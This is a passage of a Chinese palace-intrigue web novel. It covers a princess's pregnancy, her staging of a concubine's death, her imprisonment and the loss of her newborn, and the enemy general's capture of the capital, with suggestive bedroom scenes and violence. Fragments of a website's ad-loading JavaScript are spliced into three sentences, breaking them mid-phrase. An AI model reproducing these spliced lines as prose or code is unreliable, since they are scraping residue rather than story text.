不知过了多久,外面又恢复了宁静,凌云带着满身血腥气回到屋内,朝座椅上的人躬身道:“将军,都处理干净了,是梁宫里的人。” “这是来的第四回了,这个女人跟她女儿一样,心狠起来什么都做的出。” “无妨。”魏溱擦着手里佩剑,冷笑着撂下一句话:“她母亲的债,照样算到她头上。” 这日,周漪月正拨着算盘算府里的开支。 开春后公主府的开支多了数倍,除去下人的开支,衣物添置,摆宴待客,每一笔都关系到府中的运转和面子,这么一通下来,银子便如流水般花了出去。 今年各地都在闹灾,先是连日大雪让牛羊难以觅食,牧民损失惨重,未等喘息过来,渭州一带又铺天盖地闹了蝗灾,所过之处庄稼尽毁,颗粒无收。 周漪月给母后提议皇宫上下节俭度日,她自然也要以身作则缩减开支。 正琢磨间,采莲掀了毡帘进来:“殿下,驸马回来了。” 闻祁下车后,在一阵下人簇拥下入了正堂。 他看着瘦了一圈,脸上线条显得越发硬朗,下巴上有一圈细小的青色胡茬,风尘仆仆的样子。 周漪月纳罕道:“怎么不先遣人通报一声,我好早些准备给你接风洗尘。” 闻祁眉眼疲惫,目光却是缱绻,“想着早些回来见你,便顾不得这些事了。” 他很少这般当着这么多人的面表露爱意,不知从什么时候开始他便这般黏黏糊糊的,一点不像那张清隽的脸会说出的话。 周漪月睨着他娇笑一声:“好端端的,说这些做什么,快些进来罢,别站在门口吹风。” 她忙吩咐下人放好行李,两人进了正殿,一边暖身子一边说着话,问对方这段时间是否一切安好。 周漪月见闻祁脸色不好,眉眼见有郁色,忍不住问了一句:“原说十六那日就该回来的,足足延误了十日,可是路上遇上了什么麻烦?” “这次灾情比我们想象的严重,耽搁了些时日。” 说着说着,下人们已将膳食端来,都是养胃好消化的饭菜和羹汤。 闻祁没吃几口就放下了筷箸,周漪月问他:“怎么又要走?” “有些急事要处理,我刚入京就听说,宫中收到加急文书,鄢陵一带有暴民作乱,陛下已经下令镇压,急着召我等议事。” “镇压?”周漪月倒吸一口冷气,“父皇如此动怒实在少见,往常 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不是说没有天灾,可都没有到需要镇压的程度。” “往年灾情虽重,但民心尚稳。然而今年不同,天灾之后又逢边疆一带官吏贪污,粮食不济,百姓生活困苦至极,心中积怨已久,民怨爆发之后自然难以控制。” 闻祁喟叹一声:“天灾人祸,不是个好兆头啊。” 周漪月点点头,想来父皇和母后在宫中也是不好过。 她吩咐下人准备车马,将他送了出去。闻祁这一走就是大半天光景,至晚方归。 回屋时周漪月已然睡下,他解开衣裳挂在一旁红木衣架上,小心迈腿上床,尽力让动静小一些,却还是将她给惊醒了。 “驸马……” 周漪月睡眼惺忪,慵懒唤了一声,闻祁揉了揉她的头,轻声细语道:“把你吵醒了吗?” “没有,我还没睡着呢。” 周漪月掀开被子,往闻祁臂弯里钻。 男人登时馨香满怀,垂目看去,怀中娇儿微启朱唇,水盈盈的唇珠像是沾了露珠的樱桃。 他心下一热,附身撷去…… 守在外面的下人不是第一回听那屋里的动静了,可不管他们听了多少次,还是感觉面红耳赤的。 尤其是朝珠公主嘴里的那些话,实在不像是一个金枝玉叶能说出口的。 更让他们愕然的是,闻驸马一向温文尔雅的人,不知什么时候也变得这般孟浪起来了。 公主殿下着实有手段啊…… 此时屋内,两人小别胜新婚,周漪月连声求饶才缓过气来。 “要不是心疼你身子怕你累着,今晚你别想善了……” 他将她发丝别到耳后,拭去她鬓角濡湿。 周漪月星眼朦胧,香汗玉珠般顺着锁骨淌下,脸色显得有些苍白。 嘴上却不饶人:“是谁先前怪我玩得过了,折了他的腰,叫大夫施针按穴了好几日才调养过来,怎么这会子又在我面前逞能了?” “不准睡,我还没尽兴呢!”她翻身而起,半个身子压上他。 “公主这般好兴致,那为夫……奉陪到底。” 他大笑着,揽着她的腰将那娇躯带到自己胸膛上:“先前公主教的那些东西为夫都学得差不多了,你检验一下成果?” 安静了没一会的床板又晃动起来,比上一次的动静还要大上许多。 屋外下人们互相对视了一眼,浑身都觉得不自在,往外挪了几丈距离,嘴里默念着:“习惯就好,习惯就好……” 第二日清早,周漪月浑身酸痛地睁开眼,觉得整个身体已经不是自己的了。 床榻前,闻祁已经穿戴齐整,降红朝服,赤金腰带,全身上下一丝不苟。 周漪月眼中氤氲尚未退去,看了眼外面将亮未亮的天色,嘴里含糊道:“记得用罢早膳再去罢,不急这一时,别太累着。” 锦被顺着细腻如玉的肩膀滑下,香肩肌肤胜雪,遍布旖旎红痕。 闻祁闭上眼,清了清神。 若不是还有早朝…… 他掀了袍坐在她身前,半搂着腰将她扶下:“公主再睡会吧,昨夜可是辛苦你了。” 目光扫向她盈不足握的腰,蹙了蹙眉:“怎么瘦了这么多,可是下人们怠慢?” 他喊齐嬷嬷进来问她是怎么回事,齐嬷嬷解释:“驸马爷恕罪,公主这几日时常睡不安稳,也没什么胃口,做好的膳食往往吃了几筷子就不动了。” “为何不早些与我说?快,去把大夫请来。” 齐嬷嬷忙不迭吩咐人去请大夫了,周漪月道:“原不是什么大事,皇宫中诸事繁忙,我不光要打理公主府,还得顾着母后那边,自然就操心多了些。” 闻祁心疼摸了摸她的头发。 此时四方管内,魏溱刚在院中练武,健壮的胸膛上布满汗珠,顺着结实的肌肉线条滑落。 凌云给他递上汗巾,朝他耳语了几句。 “确定吗?” “千真万确,公主府的人已经马不停蹄进宫报喜了,刚入宫一会,宫里的赏赐就下了,这会子京城里很多人都听到了消息,陆续赶往公主府道喜。” “知道了。” 不辨喜怒的声调,脸色却是陡然骇沉下去,看得凌云手脚颤了下。 魏溱大剌剌倚坐在紫檀木雕花椅上,漫不经心道:“她一定很高兴吧?有自己心爱的人,还跟他有了孩子,真让人羡慕。” 凌云默默垂下了头,什么也不敢说,只觉得空气中升起一阵冷意。 面前男人手指有一下没一下地敲击扶手,听着让人头皮发麻。 偌大的房间内,魏溱几乎能听到自己沉重的心跳声。 他不可遏制地去想,周漪月是怎么在别的男人身下承欢,享受他人的宠爱,又将在不久的将来,子孙绕堂,幸福美满。 单是这么想着,便有蚀骨噬魂的感觉,整个人都好似在地狱里走过一遭。 再等等,再等等…… 他一寸寸攥紧了扶手,指骨泛白,几乎要将那椅子捏碎。 18.求和 三月,新柳摇曳在早春的煦风中,御花园里的碧桃花开得比往年都要早,似乎预示着宫里的几桩喜事。 一是朝珠公主身怀有孕,二是杜美人顺利诞下十一皇子,帝后大喜,皇帝封杜美人为三品婕妤,又给公主府下了恩旨,若是诞下麟儿便封为郡王,若是千金便封为郡主。 公主府上下一派喜气洋洋,皇宫的赏赐,还有经常各位贵女夫人们的贺礼几乎要把库房给堆满。 “月姐姐这里这么多赏赐,随便拿一件都可以买下一座楼了,怎么姐姐脸上不见一点喜色?” 绾乔不日便要与国舅他们回甘州了,临走前特意来跟周漪月告别。 周漪月笑道:“我自是欢喜的,只是……” 只是她有孕之后,闻祁几乎不让她踏出府邸半步,即便是出门也定要亲自跟陪着,或是安排一群精挑细选的侍卫。 她天性爱玩,哪里受得了这种束缚,只觉得手脚都被捆了起来。 “姐姐,绾乔本来是想等春猎后再走的,可惜父亲说甘州还需要他回去坐镇,明日外面便要启程了。” “姐姐,你我相隔天涯,不知何时才能再见……” 姐妹俩一时伤感,挽手相看泪眼。 给绾乔送行之后,周漪月变得沉默了些,开始差人打听春猎的事, “今年宫中春猎事宜准备得如何了,秦总管那边怎么说?” 齐嬷嬷答道:“大概五日后就能启程了,不过公主是指定不能参加的,不论是皇后娘娘还是驸马爷都不会让您去。” 周漪月觉得他们实在小心过了头,连给她梳妆绾发都要花半柱香时间处理好指甲,免得划伤她的皮肤。 她无奈朝齐嬷嬷道:“只是怀孕而已,怎么就如此金贵了?” 齐嬷嬷连声劝她:“公主这话便岔了,您是头胎,衣食住行样样都不能马虎,这几日奴婢给公主准备了不少宽松的衣裳,公主千万记得不能穿束腰,食物也要清淡营养,那些辛辣油腻的一概不能碰,还有,公主要适当在院子里走一走,活动活动……” 周漪月瘫倒在楠木椅上,仰天长叹。 至于闻祁就更甭说了,恨不得就此罢了朝廷,天天在她身边亲自伺候。 周漪月看着他摸着自己的小腹乐不可支的样子,嗔着推了他一把:“瞧把你高兴的,回头连自己是谁都忘了。” 闻祁只管呵呵笑着,周漪月抿了抿唇,试探着开口:“驸马,听说几日后就是春猎了,这次皇室中人都要一同前去,我能不能……” “公主想也不要想。” 闻祁道:“你现在怀有身孕,且不说那车马劳顿,万一公主趁我不在的时候一时心热想骑马,出了事,你让为夫如何原谅自己?” 周漪月拉着他的袖子,娇声细语:“驸马,再不让我出去我就憋死了,你放心,我保证只是去散散心,绝不骑马!” 闻祁很少逆她的心意,但就是这一次,说什么都不允许。 “我今日已经去求了父皇母后,好说歹说才让他们同意,驸马爷,你就行行好吧,看犯人也不是这么看的……” 周漪月美眸已经蕴了泪光。 自从有了身子后,她一直被孕吐症状困扰,喝多少补药都不管用,姣好的容貌看着都没了光泽,手腕细得像桃枝一般。 闻祁见她这副楚楚可怜的样子,忍不住又心软了。 “如果公主能答应我几个条件,带你去也不是不可……” 周漪月喜出望外,踮起脚在他脸上啄了一口。 眼见男人双眼微微眯起,她赶紧拢好衣服,俏皮一笑:“大夫特地嘱咐过不能行房事的,我现在有了身子,驸马可不能再随便折腾人了。” 那声音娇得能化出水来,在闻祁听来哪里是拒绝,分明是勾引。 他一把将周漪月横抱了起来,往床榻上走去:“不能行那事而已,为夫有的是别的法子。” 周漪月这晚认识到了一件事。 能一举考中探花的人,定是才智过人,不过几次,闻祁已经能将她的精髓学得如此透彻,迅速领会其中要义,还能融会贯通。 床帷间,周漪月身上盖着鸳鸯绣被,只露出粉面玉颈,美目横波,看着比往日更加明艳动人。 嘴上娇吟着:“早知驸马接受能力如此强,我何苦装模作样……” “原来公主此前一直拘束着,倒是为夫的不是。” 闻祁拿绢帕细细揩擦手指,温声道:“无妨,以后有的是时间让公主敞开门扉。” 周漪月意识到他在说什么,脸上一热,嗔骂着将金丝枕扔到他身上,惹得闻祁郎声大笑。 余光瞥见窗外一闪而过的身影,他笑意渐渐冷了下去。 公主府的日子如水流过,周漪月每日享受着身边人无微不至的伺候,捻指到了春猎这日。 金色旌旗在三月春风中猎猎作响,马蹄声和车轮滚动声在墉都城内响起,一直向京郊外延伸。 天子御驾缓缓走在长街上,后面紧跟着浩浩荡荡的队伍,文武百官、皇亲国戚、禁军侍卫紧随其侧。 数个时辰之后,队伍抵达皇家猎场,此处山清水秀,草木葱茏,秦总管指挥随从们收拾好了行帐,铺好锦毯,为贵人们撑好华盖伞。 随着一声号角响起,梁帝亲自挽弓射箭,一箭射中林中飞奔的野鹿。 “陛下英武!”欢呼声响彻山林。 一连几日,武将们纷纷披挂上阵,欲在皇帝面前争个彩头,周漪月随一众女眷待在皇后行帐里,不时有侍卫来报,说武将们猎得多少野禽。 “今日何人拔得头筹?” “晋国使臣,魏溱。” 女眷们不禁议论起来:“这位魏将军当真是人中龙凤,我说这几日看大元帅闷闷不乐的样子,敢情是在使臣面前落了下风,现在定是气得跺脚呢。” “刚入京城那会不显山不露水的,谁承想竟如此英武不凡。” “如此郎君,听说还未娶妻……” 周漪月喝着茶,不发一言,心里反倒觉得,他身为使臣如此行事,实在狂妄至极。 她专注喝茶,没有注意到主座上窦皇后面色也甚是复杂。 号角声传来,女眷们起身依次告退,窦皇后叫住周漪月:“月儿,你还未给你父皇请安吧,” 眼见周漪月脸上的神情一点点冷下去,窦皇后语重心长道:“月儿,他毕竟是你的父皇,你不该总是这样对他避如蛇蝎。” “就算陛下他从前对你多有苛待,那也是过去了,这次你身怀有孕,他不知有多高兴,还特地下了恩旨,足见你父皇用心。母后实在不忍见你们父女生疏至此……” 周漪月挑起眉:“苛待?母后此言真是荒谬,父皇所作所为岂能用一个苛待概括?这位好父亲可是每日派人给我送来刑具,逼着我学一些凌虐人的法子,稍又不顺他的意便把我关在牢房——” “母后,我当时可只有不到十岁啊!” 窦皇后双唇翕动,长叹一口气:“月儿,你父皇他也不容易,他年幼登基,朝堂上群狼环伺,又遇上藩王作乱,性子自然古怪了些……” “好了。” 周漪月皮不笑肉不笑的弯了下唇角:“母后以后不要再说这种话了,您女儿发起疯来什么样您可是最清楚的。” 冷笑的样子落在窦皇后眼里,让她心悸得说不出话来。 周漪月闭了闭眼,乌沉的眉眼拢在暗影里。 她拂袖而去,走到门口时又转头道:“这几日母后还请多待在父皇身边,尽量不要让他离开营帐。” 说罢,头也不回地离开了。 齐嬷嬷见周漪月气冲冲从帐子里出来,就知道她和皇后娘娘又闹了什么不愉快,忙不迭上前搀扶,一个字也不敢说。 周漪月问她:“我要你找的人准备好了吗?” “回殿下,已经找好了,模样有七八分像。” 她点点头:“希望此人我用得上……” “若无必要,我不愿意杀人。” 暮色四合,魏溱将将从猎场上回来,身上血腥气还未散,便听到帐外传来嘈杂声。 “魏将军,我有话想对你说。” 熟悉的女子声音传来,这是周漪月第一次喊他的名字。 魏溱示意随从们退下,周漪月大步走近,步伐迈得匆匆,珠钗撞出细碎的叮咛声。 周漪月见了他,脸上没有任何情绪,平静道:“让你的人退下。” 俨然自己才是这里的主人。 凌云询问的目光看向魏溱,他挥了挥手,示意他们下去。 帐内只剩他们两人,周漪月开门见山道:“魏将军,我们直接把话说开罢,我们彼此都有自己的事,为了过去那些鸡毛蒜皮的事互相无意义耗着实在没意思。” “我知道你恨我,可我还是那句话,过去的事我根本不记得,不如我们各退一步?” “看来公主是来求和的。”魏溱嗤笑一声:“如何各退一步?” “猎月楼那次,你险些将我害死,熙春楼,你又差点杀死我的驸马,你毁我名声屡次陷我于危境,这笔账我不再跟你算。先前所有事我们也一笔勾销,我们从此井水不犯河水。” “好,我们一笔勾销。” 周漪月没料到他答应得这般爽快,迟疑着问:“当真,你不再找我的麻烦?” “自然当真,公主如若没事的话,请吧。”他摆出送客的架势,没有再多说一句。 周漪月半信半疑走出营帐,问齐嬷嬷:“使臣们的吃住可是由秦总管负责?” “回殿下,正是。” “让他来见我。” “是。” 齐嬷嬷自是明白她的意思,颔首应下。 魏溱这厢,凌云看着周漪月离开,进了帐子问:“将军,您看朝珠公主的话可信吗?” “可信?”魏溱一双眸子暗来了暗,沉声道:“她来求和,定是要忙着什么害人的事,无暇分心,这才弯下身子先来稳住我。” “一旦她忙完了手头的事,就开始琢磨怎么让我死得悄无声息了。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >凌云点点头:“还是将军看得透彻。” 魏溱端起茶盏,闻了闻茶香,冷笑了声,将茶杯搁在了旁边。 不知是不是周漪月的求和起了作用,那之后的几日,两人再无交集,即便在猎场碰到了也只当没看见,擦肩而过。 周漪月不是没有起疑心,只不过眼下还有别的事要处理。 春猎第四日,跟闻祁用过午膳后,她在侍女的搀扶下走进一顶华丽的帐子。 “公主殿下。” 杜婕妤正在看着一张舆图,见周漪月来,不着痕迹将那舆图收好:“公主殿下怎么有空到我这里来?” “见过婕妤娘娘,婕妤娘娘生下小十一后,我这个做姐姐的一直想来看看,竟是一直耽搁到现在。” 她吩咐齐嬷嬷将带来的礼物交给杜婕妤,“小小心意,还望婕妤娘娘不要嫌弃。” 杜婕妤神情淡淡,眉眼间有些疏离:“公主客气了,流莺,快将皇子抱给公主看看。” 流莺将小皇子小心递给了周漪月,还是个粉雕玉琢的小团子,睁着清澈的大眼睛,好奇地望着周漪月。 杜婕妤道:“小皇子很喜欢公主呢,平常别人抱都是要哭的。” “既是姐弟,自然是亲的,我瞧着小十一跟婕妤娘娘很像呢。” 周漪月逗了逗小皇子,将人还给了流莺,转向杜婕妤道:“这些日子我得知自己有孕,心里是既喜又忧虑,对很多事知之甚少,这才特来请教娘娘。” 两人聊了些孕期之事,身旁一众侍女看着两人其乐融融的样子,心下都有些纳罕。 朝珠公主此前与杜婕妤几乎没有任何交集,却突然好端端的上门拜访。 还有杜婕妤,一向是是心高气傲,对谁都没个好脸色,竟然能和同样脾气古怪的朝珠公主相谈甚欢。 许是生育之后,让杜婕妤转了性子罢,她们心里这么猜测着。 周漪月这几日除了去皇帝皇后那里请安,其他时间便是去杜婕妤帐中闲聊。 这日,周漪月回帐后,闻祁正好从外面回来,她迫不及待上前道:“驸马,我有事想拜托你。” 闻祁笑得宠溺:“公主可是想骑马?” 周漪月眼睛一亮,重重点下了头 闻祁无奈一笑:“我早知公主是个坐不住的,定会提这种要求,猎装都给你准备好了。” 他吩咐随从将一身精致的红色猎装拿上来,周漪月目中尽是欣喜,朝他身上扑了过去:“还是驸马最懂我的心思。” 闻祁将她抱在怀里,亲昵拍了拍她:“只有一点,必须让人给你牵马,这是为夫最后的底线,我会多派几人盯着你的,不准给我阳奉阴违。” “你放心,我一定会照顾好自己,还有齐嬷嬷他们在呢。” 周漪月迫不及待换上猎装出了帐子。 猎场内,马夫牵着为她准备好的马匹,毛色光亮,四题强健,模样温顺,一看就是上好品种。 “果然是好马,定是养得用心。” 马夫低下了头,没有回话,采莲对他道:“公主和你说话呢,怎么连谢恩都不会?” 对方还是不回话,周漪月蹙了下眉,仔细辨认一番,笑道:“原来是解公子。” 正月后诸事缠身,她竟是将此人忘了个一干二净。 隔了这么长时间,他还是那副温润如玉的样子,虽着粗布衣裳却难掩其文雅气质,眉眼间神色冷淡,脸色比上次看着憔悴了不少。 采莲是个急性子,忍不住朝他怒喝:“好大胆的奴才,简直不把公主殿下放在眼里!” 周漪月摆了摆手,笑说:“罢了。” 又转向解扬,温和道:“以后,主子问话,你应该跪下应答,我身边的奴才不需要太高的傲气。” “人在什么境遇,便有什么境遇的活法,懂了吗,解公子?” 解扬默不作声,周漪也不介意,一个健步上了马,动作干净利落,英姿飒爽。 “公子可愿给我牵马?” 马上女子红衣胜火,静静看着他,嫣然一笑。 不远处,魏溱和凌云站在高处,将眼前一幕收入眼底。 疾风吹打他高束的墨发,男子神情沉厉,双眸幽然如两簇磷火。 他第一次迈进朝珠宫时,面前少女一双眼睛干净透亮,长袖翩翩,高高在上,令人不敢企及。 宛如一场幻美的噩梦。 “见到本公主,为什么不下跪?” “不过一介奴隶,也敢在本公主面前妄自尊大?你连我脚下的蚂蚁都不如。” “跪下,这是最后一次……” 她把玩着手里的铁鞭,幽幽笑声犹如鬼魅飘荡在金殿中。 凌云头一次见魏溱这副模样。 周身霍然腾起的气场阴森、恐怖、压抑,像是有一只凶兽在他体内横冲直撞,仿佛下一刻就要破笼而出。 明明站在旷野中,他却觉得四周的空气在一点点被抽走,窒息感逼得他喘不上气。 他深深低下了头,努力将存在感降到最低。 19.惊变 周漪月在解扬的陪伴下骑了几日的马,几乎将周围的山水转了个遍,每日兴尽方归。 晚间,她换下身上的行装,齐嬷嬷忙上前拿绢帕给她擦了擦汗。 “殿下可是饿了,皇后娘娘特地吩咐桂嬷嬷送来一碗雪耳红枣粥,这会还热着呢。” 周漪月拿玉勺舀了一口,说果然味道不错。 “替我谢过母后。杜婕妤说她这几日胃口不好,也给他送去一碗罢。” “是。” 齐嬷嬷将红枣粥端进来时,十一皇子已经被乳母抱下去了,帐内只有杜婕妤和流莺两人。 杜婕妤看着那碗粥,问齐嬷嬷:“殿下一定要我喝吗?” “婕妤娘娘还是喝罢,这是公主殿下的一片心意。”齐嬷嬷笑着,语气却是不容置疑。 杜婕妤看着那碗羹汤,缓缓端起,仰头喝了下去。 再次睁开眼时,自己已经身处悬崖边上,几丈之外便是万丈深渊。 “婕妤娘娘终于醒了。” 月华如水,面前站着一个美艳的女子,银光照在她浅笑吟吟的脸上,美得像是仙人。 杜婕妤笑道:“我还以为公主会直接杀了我,毕竟这对你来说是最简单的方法。” “一开始,我的确是想杀母夺子。” 周漪月也不打算瞒她,“你没有娘家依靠,也不喜欢父皇,我看得出你心不在此,早就有了离宫之意,只是苦于父皇的威权。” 两人相处不过几日,她竟如此心细,杜婕妤不禁在心下感叹一声。 周漪月轻笑了下:“我说得如此直白,婕妤娘娘不会觉得不舒服吧?” 杜婕妤看着她:“敢问一句,如果我醒来后不愿遵从殿下的安排,殿下会如何?” “那我只能真的送娘娘上路了。” 杜婕妤亦哑然失笑,面前女子的狠绝与无情,都与那位九五之尊如出一辙。 齐嬷嬷上前将一个包袱递给她,周漪月道:“我已经给你准备好了牙牌和路引,从今后,你可以去任何自己想去的地方,见任何想见的人。” “见任何想见的人……” 杜婕妤喃喃重复这句话,竟不自觉红了眼眶。 周漪月拿绢帕给她揩眼泪:“前面有一条小路,直通山下,这个时辰正是侍卫换防的时候,没人会发现你。我已经准备好了一个跟你很像的女子,就放在悬崖下,明日就会有人发现,婕妤娘娘坠亡悬崖。” “从此,世间不会再有杜婕妤这个人了。” 杜婕妤涩然笑道:“其实,我十分欣赏公主的性子,若你我二人不是身在九重宫阙,定能成知己之交。” 曾经的她,五岁识兵书,十岁提枪上马,自信将来能解生民于倒悬。 直到只身入了梁宫,数十年囚鸟其中,山河梦碎。 她披上寻常粗布衣,离开前,最后看了周漪月一眼。 “公主,若是将来……” 她凝视于她,缓缓开口:“若是将来,公主与我一样身不由己,身陷牢笼中无法自拔,请公主……千万不要被枷锁所困。” 说罢这话,她头也不回转身离开。 步伐越来越快,像是笼鸟归林,渐渐消失在黑暗中。 周漪月怔忡了片刻,问齐嬷嬷:“嬷嬷,方才杜婕妤的话是何意?” “老奴也不懂,许是想提醒公主小心行事,免得事情败露罢?” 周漪月喃喃道:“不,她定是知道了什么……” 霎那间,一声厉喝打断她的思路—— “前面何人!” 一阵轰雷般的脚步声,禁军侍卫们手持火把,沿着山路迅速移动,将周漪月团团围住。 人群中,身穿明黄龙袍的皇帝走出,面色冰冷,眉宇间好似压抑着暴怒。 “月儿,你在此处做什么!” 周漪月心脏轰然下坠,饶是心里再镇定,双腿还是止不住地向后退。 绣鞋踢上身后碎石,速速滚落悬崖,迟迟听不见响声。 她的心像是随之坠落。 慌乱间,她目光透过层层火把,冷不丁瞥到不远处树下的男子。 他就站在不远处的地方,冷眼看着她,目光像是一张密不透风的网,铺天盖地地覆压过来。 嘴角勾起若有若无的弧度,仿佛乾坤尽在掌握。 从猎场回宫后,皇帝大发雷霆,当即就罚朝珠公主关了禁闭。 “逆女,这个逆女!” 皇帝在殿中来回踱步,梁贵妃在一旁好言相劝:“陛下莫动怒,本宫瞧着此事并不是三公主所为,她与杜婕妤那般要好,怎会害她呢?” “哼,此事跟她绝对脱不了干系!” 梁帝愤然甩袖:“你根本不了解朕这个女儿,她为了自己的母亲可是什么都做的出来,只怕皇后现在等着抚养十一皇子,顺理成章当太后呢!” 梁贵妃好言相劝了几句,这时,太监们来报:“陛下,外面有朝臣求见。” “何人?” “是京兆尹府的府尹大人,还有刑部尚书和大理寺卿,三位大人现就在殿外。” 梁贵妃笑道:“两位大人深夜前来,定是有什么急事,陛下莫要动怒,朝政要紧。” 梁帝冷哼一声,甩袖坐上龙椅:“也罢,宣他们进来。” “是。”太监下去传令。 元朔三十三年的春日注定不同寻常。 宫中的婕妤娘娘好端端的陨落悬崖,人死的时候,朝珠公主就在悬崖顶上。 时间太过巧合,不难不让人多想。 尽管朝珠公主屡次声称自己没有害人,可宫中上下所有人都认为,朝珠公主是为了抢走十一皇子。 一时周漪月成为了众矢之的,恰在这时,另一件事浮出水面。 前不久熙春楼纵火案,已经被京兆尹府查明乃是朝珠公主所为,人证物证俱在。 朝珠公主于熙春楼中纵火,烧杀数十百姓,被皇帝褫夺封号,幽禁于禁宫。 公主的名声一夜之间从云端跌落泥潭。 一波未平一波又起,四月初,边关送来急报。 匈奴铁骑长枪直入,直逼雁临关以北,□□烧无恶不作,边陲百姓或死或伤,哀鸿遍野。 京中收到军情时,梁帝当场将奏折扔了出去,砸在面前的武将身上。 “雁临关以北地势险要,布防一向由你窦将军负责。此次军情泄露,令匈奴贼子乘虚而入,百姓遭殃,此乃我朝之大辱也!” “此次雁临关失守,你窦国舅难辞其咎!来人——” 怒音方落,甲兵上前将地上之人强硬拖了下去。 “臣冤枉”三字久久回响于金殿,朝堂上众臣噤若寒蝉,无人敢置喙半字。 一时间,朝野上下风声鹤唳,御史们纷纷上书诘难,矛头直指清河窦氏。 领头检举之人,乃是太子嫡系。 史官于史书上留下一笔:“清河窦氏暗中结交外臣,致使边疆战事,图谋不轨,欲动摇国本,帝震怒,诏令严查。” 皇后脱簪请罪,于太和殿前跪了三天三夜,终是没能抵挡天子之怒。 周漪月是从周林婉嘴里知道这些事的。 禁宫里的日子不算难熬,时不时的就有些宵小来给她传递外界的消息。 周林婉带着几名宫女太监踏进院子,身着华服,脚下却是步履蹒跚,需要侍女扶着才能正常行走。 她扬起得意的笑:“月姐姐在禁宫中可还习惯?听闻姐姐近来饮食简陋,妹妹特命人给姐姐送来一份餐食呢。” 言毕,她示意身后太监将一碟食物端来,周漪月瞥了一眼,碟中之物竟是狗食。 周漪月没说什么,抓起那东西就往嘴里塞,仿佛没有任何味觉。 咽下最后一口后,她朝她绽出笑意:“看完了吗,看完了就滚。” 那笑看得周林婉浑身发毛,周漪月却也兀自转过身,撑着头,观赏窗外的月亮。 一双凤目沉稳冷冽,仿佛对什么都无动于衷,粗劣的衣服穿在身上,难掩高贵风华。 周林婉气得跳脚:“周漪月,你以为你自己还能得意多久!” “你怕是还不知道吧,你那驸马现在正极力和你撇清关系呢,你困在宫中这么长时间了,他可有过问你的情况?可有在父皇面前替你求情?” “枉你自视甚高,以为自己嫁了什么如意郎君,说抛弃你就抛弃你了,还不如青楼的恩客!” “周漪月,你给我等着,我非要让你余生都在绝望和痛苦中苟活,让你亲眼看着你所珍视的一切化为乌有!” 扔下一番恶狠狠的话,周林婉一瘸一拐地走了。 周林婉说的是对的,周漪月没多久就见到了闻祁,还有他写好的和离书。 她只是看了一眼,便提笔在和离书上写下自己的名字。 闻祁看着她消瘦的身子,闭了闭眼,低喃道:“公主恨我吗……我在你最需要我的时候离你而去,你心里可有恨意?” “不恨,我早知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道这个结果,没有希望,便不会失望。” 周漪月抬起头,一字一句道:“我们此前已经说好,你我之间的亲事本就是一桩交易,利聚而来,利尽而散,既然会被对方连累,不如从此桥归桥,路归路。” “只有一点,闻大人需谨记,我肚子里的,依然是你的孩子。” 闻祁垂下眼帘:“你放心,我会跟陛下请旨,请陛下准许我抚养我们的孩子,待你一生下孩子,我就将他接走。” “好。” 周漪月凉凉勾唇,面容平静如水。 元朔三十三年秋,惊雷阵阵,巨大的雷鸣将宫阙照得亮如白昼。 禁宫内,铜盆和热水一趟又一趟地进出,一声啼哭后,产婆惊喜道:“生了,生了!” 周漪月无力瘫倒在床榻上,呼吸微弱,脸上苍白无血色。 齐嬷嬷将婴儿抱给周漪月看,浑浊的眼难掩喜色:“公主,是个小世子。” 周漪月看着那个襁褓中的男婴,皱巴巴的脸,眉眼长得与她有七分像。 她还未从为人母的喜悦中走出,几个太监推门而入,不由分说将孩子带走了。 婴儿哇哇的啼哭声瞬间撕裂周漪月的心。 “不要,你们不能带走他!把孩子还给我!” “这是我的孩子,求求你们不要带走他!” 她不顾一切地冲上前,从床榻上重重跌落在地。 这可是她十月怀胎生下的孩子,她怎么忍心交给别人! “我要见父皇,我要见父皇!” “这是我的孩子,你们怎么忍心让她离开自己的母亲!” 她哭到嗓子撕裂,身子艰难向前爬,死死抓住那人的黑靴。 小太监听着那哭声实在心悸,询问的目光看向总管太监。 总管太监不为所动:“公主殿下,这是梁贵妃的旨意,您是戴罪之身,陛下允您生下世子已是格外开恩,您还想要什么呢?” “公主殿下,莫让咱家为难……” 惊雷划破夜空,映着他面上狰狞的冷笑。 禁宫中的日子流水一样过去,在深宫中待久了,周漪月觉得那时间都变了样,成了石板间的裂缝,还有古木上的刻痕。 齐嬷嬷总觉得周漪月变了,一开始被关进禁宫中时,她每日在院中晨练,收拢禁宫中的宫女太监,晚上给皮肤上的淤伤抹药,整个人无一丝颓废之态。 自从生下孩子之后,她变得沉默了很多。 院中桃花落尽的时候,周漪月喃喃道了一句:“已经一年了么……” 突然想起什么,她问:“齐嬷嬷,上次周林婉来是什么时候?” 齐嬷嬷掰着指头算了算,回道:“大概,一月有余了。” 周漪月思忖片刻,面色沉了下去:“嬷嬷,不对劲,宫中定是发生了什么事!” 她的猜测是对的。 元朔三十四年三月,晋军撕碎和平缔约,与北匈奴合谋,举兵犯梁。 烽火蔓延雁临十五州,向墉都城逼近。 黑云压城。 城门外,晋军轻骑兵当先,将梁军阵势冲散,梁军节节后退,退守城门。 骑兵朝两翼退去,重甲兵瞬间摆好阵势持铁盾而上。 登云梯!抛石!弩台! 晋军训练有素,甲卒顺着登云梯攀爬,前面之人倒下,后面之人便瞬间接上。 飞箭如蝗,杀声震天。 一声巨响,梁夏国最后一道防线轰然倒下。 “城破!城破!” “城——破——” 守军骇然抬眼,惊见猎猎旌旗上的“魏”字。 晋军整齐划一入城,甲兵中央,主将魏溱策马而入,玄犀甲衣上沾满血迹,墨发被猎猎火风肆意刮起。 红色的披风扬起,像一座巍峨高山。 梁宫内四处狼藉,魏溱手持长枪步上白玉石板,划出尖锐的声响。 太和殿中央高悬着象征梁夏国的龙旗,宝座上玉玺还未来得及带走,泛着晶莹光泽。 凌云来报:“将军,梁帝已逃出宫!梁宫内空无一人!” 魏溱一枪劈开玉玺,将龙旗挑落,重重碾碎在地。 周身迸发出滔天杀意,宛如地狱修罗。 “传令下去,全城搜捕梁夏皇室中人,城门处严防死守,一个人也不能给我放出去。” “除布防军外,全军上下若有伺机作乱者,军法处置!” “还有——把她,给我找到。”